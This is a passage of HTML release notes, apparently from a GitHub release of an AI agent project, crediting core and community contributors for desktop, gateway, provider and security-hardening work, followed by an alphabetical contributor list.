<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bruce-anle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bruce-anle">@Bruce-anle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brunz-me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brunz-me">@brunz-me</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bytesnail/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bytesnail">@bytesnail</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/catbearlove1-lang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/catbearlove1-lang">@catbearlove1-lang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgarwood82/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgarwood82">@cgarwood82</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CharmingGroot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CharmingGroot">@CharmingGroot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chouqin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chouqin">@chouqin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claudlos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claudlos">@claudlos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CocaKova/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CocaKova">@CocaKova</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Code-suphub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Code-suphub">@Code-suphub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CodeForgeNet/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CodeForgeNet">@CodeForgeNet</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/craigdfrench/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/craigdfrench">@craigdfrench</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CrazyBoyM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CrazyBoyM">@CrazyBoyM</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crazywriter1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crazywriter1">@crazywriter1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cruzanstx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cruzanstx">@cruzanstx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyrkstudios/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyrkstudios">@cyrkstudios</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danilofalcao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danilofalcao">@danilofalcao</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/datachainsystems/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/datachainsystems">@datachainsystems</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DatTheMaster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DatTheMaster">@DatTheMaster</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidb73-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidb73-hub">@davidb73-hub</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidrobertson/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidrobertson">@davidrobertson</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deacon-botdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deacon-botdoctor">@deacon-botdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DECK6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DECK6">@DECK6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deepujain/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deepujain">@deepujain</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/derek2000139/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/derek2000139">@derek2000139</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/designnotdrum/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/designnotdrum">@designnotdrum</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deusyu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deusyu">@deusyu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devatnull/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devatnull">@devatnull</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devorun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devorun">@devorun</a>,<br>
